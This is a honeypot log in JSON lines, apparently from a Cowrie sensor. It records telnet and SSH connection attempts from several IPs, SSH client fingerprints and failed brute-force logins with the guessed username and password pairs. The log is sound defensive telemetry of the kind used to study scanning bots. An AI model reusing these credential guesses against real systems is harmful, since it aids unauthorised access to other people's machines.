{"eventid":"cowrie.session.closed","duration":24.860655069351196,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:02.612914Z","src_ip":"152.42.224.71","session":"764f74346ec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00735473632812,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:08.959782Z","src_ip":"152.42.224.71","session":"68238b5b6c85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60248,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab79d6cf9d7","protocol":"telnet","message":"New connection: 152.42.224.71:60248 (10.17.0.5:23) [session: 2ab79d6cf9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:11.179226Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60252,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9edff5ad34d","protocol":"telnet","message":"New connection: 152.42.224.71:60252 (10.17.0.5:23) [session: e9edff5ad34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:11.594171Z"}
{"eventid":"cowrie.session.closed","duration":24.795386791229248,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:13.146784Z","src_ip":"152.42.224.71","session":"50fe52266f31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":55816,"dst_ip":"159.203.135.109","dst_port":22,"session":"74961881065a","protocol":"ssh","message":"New connection: 94.230.136.33:55816 (159.203.135.109:22) [session: 74961881065a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:14.464998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:14.471328Z","src_ip":"94.230.136.33","session":"74961881065a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:14.620057Z","src_ip":"94.230.136.33","session":"74961881065a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jer123","message":"login attempt [root/jer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:15.244127Z","src_ip":"94.230.136.33","session":"74961881065a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:16.394530Z","src_ip":"94.230.136.33","session":"74961881065a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.834224462509155,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:18.783737Z","src_ip":"152.42.224.71","session":"4278e414ad79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54578,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1613c9b9139","protocol":"telnet","message":"New connection: 152.42.224.71:54578 (10.17.0.5:23) [session: c1613c9b9139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:20.057420Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54588,"dst_ip":"10.17.0.5","dst_port":23,"session":"de94325fdbf4","protocol":"telnet","message":"New connection: 152.42.224.71:54588 (10.17.0.5:23) [session: de94325fdbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:24.619607Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54602,"dst_ip":"10.17.0.5","dst_port":23,"session":"163ab6144b0e","protocol":"telnet","message":"New connection: 152.42.224.71:54602 (10.17.0.5:23) [session: 163ab6144b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:24.857860Z"}
{"eventid":"cowrie.session.closed","duration":48.16999864578247,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:25.336249Z","src_ip":"152.42.224.71","session":"300d3d14da35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40866,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a30c472a85e","protocol":"telnet","message":"New connection: 152.42.224.71:40866 (10.17.0.5:23) [session: 9a30c472a85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:27.269283Z"}
{"eventid":"cowrie.session.closed","duration":110.61141347885132,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:27.998160Z","src_ip":"152.42.224.71","session":"4be56a87befc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":41452,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f7ea4085b0","protocol":"ssh","message":"New connection: 43.156.227.3:41452 (159.203.135.109:22) [session: 13f7ea4085b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:32.578867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:32.583447Z","src_ip":"43.156.227.3","session":"13f7ea4085b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:32.820515Z","src_ip":"43.156.227.3","session":"13f7ea4085b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456#","message":"login attempt [root/admin123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:33.797640Z","src_ip":"43.156.227.3","session":"13f7ea4085b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":11019,"dst_ip":"10.17.0.5","dst_port":22,"session":"f45d3cff7788","protocol":"ssh","message":"New connection: 213.209.159.56:11019 (10.17.0.5:22) [session: f45d3cff7788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:34.940257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:34.945430Z","src_ip":"213.209.159.56","session":"f45d3cff7788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:35.028101Z","src_ip":"213.209.159.56","session":"f45d3cff7788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:35.038746Z","src_ip":"43.156.227.3","session":"13f7ea4085b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"corrina","password":"corrina","message":"login attempt [corrina/corrina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:35.428060Z","src_ip":"213.209.159.56","session":"f45d3cff7788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"corrina","password":"corrina1","message":"login attempt [corrina/corrina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:36.531727Z","src_ip":"213.209.159.56","session":"f45d3cff7788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51226,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2f24243d68","protocol":"telnet","message":"New connection: 152.42.224.71:51226 (10.17.0.5:23) [session: 8e2f24243d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:37.206080Z"}
{"eventid":"cowrie.login.failed","username":"corrina","password":"corrina123","message":"login attempt [corrina/corrina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:37.619931Z","src_ip":"213.209.159.56","session":"f45d3cff7788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.53724026679993,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:37.786145Z","src_ip":"152.42.224.71","session":"80c2161bf927","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"corrina","password":"corrina1234","message":"login attempt [corrina/corrina1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:38.714225Z","src_ip":"213.209.159.56","session":"f45d3cff7788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"corrina","password":"corrina12345","message":"login attempt [corrina/corrina12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:39.801427Z","src_ip":"213.209.159.56","session":"f45d3cff7788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:40.886339Z","src_ip":"213.209.159.56","session":"f45d3cff7788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.039591312408447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:42.218677Z","src_ip":"152.42.224.71","session":"2ab79d6cf9d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51240,"dst_ip":"10.17.0.5","dst_port":23,"session":"735fec93a036","protocol":"telnet","message":"New connection: 152.42.224.71:51240 (10.17.0.5:23) [session: 735fec93a036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:43.575599Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51252,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3bdbff29dd","protocol":"telnet","message":"New connection: 152.42.224.71:51252 (10.17.0.5:23) [session: 8a3bdbff29dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:44.123466Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":24563,"dst_ip":"159.203.135.109","dst_port":22,"session":"98fdcaa8e1a9","protocol":"ssh","message":"New connection: 182.217.16.126:24563 (159.203.135.109:22) [session: 98fdcaa8e1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:44.977725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:44.982873Z","src_ip":"182.217.16.126","session":"98fdcaa8e1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51258,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3471461c76","protocol":"telnet","message":"New connection: 152.42.224.71:51258 (10.17.0.5:23) [session: bb3471461c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:45.119092Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:45.188217Z","src_ip":"182.217.16.126","session":"98fdcaa8e1a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456789","message":"login attempt [root/Qq@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:46.043854Z","src_ip":"182.217.16.126","session":"98fdcaa8e1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a715d47f307","protocol":"telnet","message":"New connection: 152.42.224.71:45056 (10.17.0.5:23) [session: 8a715d47f307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:46.150824Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45072,"dst_ip":"10.17.0.5","dst_port":23,"session":"494f7a7bac05","protocol":"telnet","message":"New connection: 152.42.224.71:45072 (10.17.0.5:23) [session: 494f7a7bac05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:46.401840Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45078,"dst_ip":"10.17.0.5","dst_port":23,"session":"667c8bb4a34a","protocol":"telnet","message":"New connection: 152.42.224.71:45078 (10.17.0.5:23) [session: 667c8bb4a34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:47.058039Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:47.252423Z","src_ip":"182.217.16.126","session":"98fdcaa8e1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00216579437256,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:48.114052Z","src_ip":"152.42.224.71","session":"ad49554dbe2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":45746,"dst_ip":"159.203.135.109","dst_port":22,"session":"8367e6de193e","protocol":"ssh","message":"New connection: 119.28.115.94:45746 (159.203.135.109:22) [session: 8367e6de193e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:51.503656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:51.508624Z","src_ip":"119.28.115.94","session":"8367e6de193e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:51.753567Z","src_ip":"119.28.115.94","session":"8367e6de193e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45088,"dst_ip":"10.17.0.5","dst_port":23,"session":"99109bd2caa4","protocol":"telnet","message":"New connection: 152.42.224.71:45088 (10.17.0.5:23) [session: 99109bd2caa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:52.028282Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":45774,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa4180426774","protocol":"ssh","message":"New connection: 43.153.54.120:45774 (159.203.135.109:22) [session: fa4180426774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:52.307899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:52.312654Z","src_ip":"43.153.54.120","session":"fa4180426774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:52.380088Z","src_ip":"43.153.54.120","session":"fa4180426774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ford","message":"login attempt [root/ford] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:52.680503Z","src_ip":"43.153.54.120","session":"fa4180426774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DFfd34t3sdfs","message":"login attempt [root/DFfd34t3sdfs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:52.766191Z","src_ip":"119.28.115.94","session":"8367e6de193e","protocol":"ssh"}
